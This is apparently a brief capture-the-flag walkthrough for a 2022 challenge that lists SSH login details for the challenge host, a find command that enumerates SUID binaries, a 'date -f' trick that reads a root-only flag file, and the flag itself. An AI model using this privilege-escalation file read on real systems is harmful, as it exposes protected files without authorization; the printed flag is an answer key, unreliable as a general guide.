- SSH into the challenge host, 0.cloud.chals.io on port 19777
- Username: ubuntu Password: jctf2022!
- Find the flag
- Use the find command to find any files owned by root with the SUID bit set
find / -perm -4000
- Use the date command to leak the flag
date -f /root/flag.txt
- Flag:
jctf{4cc355_6r4n73d}
- Developed by Rob